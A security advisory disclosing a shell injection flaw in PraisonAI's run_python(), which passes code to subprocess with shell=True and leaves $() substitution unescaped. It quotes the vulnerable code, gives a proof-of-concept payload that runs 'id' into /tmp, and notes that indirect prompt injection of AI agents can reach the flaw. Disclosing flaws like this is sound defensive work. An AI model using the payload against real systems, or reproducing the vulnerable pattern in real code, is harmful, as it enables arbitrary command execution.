High

PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 14:18

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonaiagents < 1.5.90 1.5.90

References

CVSS score 7.8/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
Python (PyPI)
Package
praisonaiagents
Disclosed
01.04.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2954 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w37c-qqfp-c67f - CC BY 4.0

Vulnerability history: praisonaiagents

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (50) in the archive
Total entries
50
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 10
  • High 27
  • Medium 13

Disclosures per year

  1. 2026: 50
Severity:
  1. PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution this entry
    High · 7.8 CVE-2026-34937 < 1.5.90 1.5.90
  2. High · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  3. High · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  4. Critical · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
Show more (16) Showing 21 of 37

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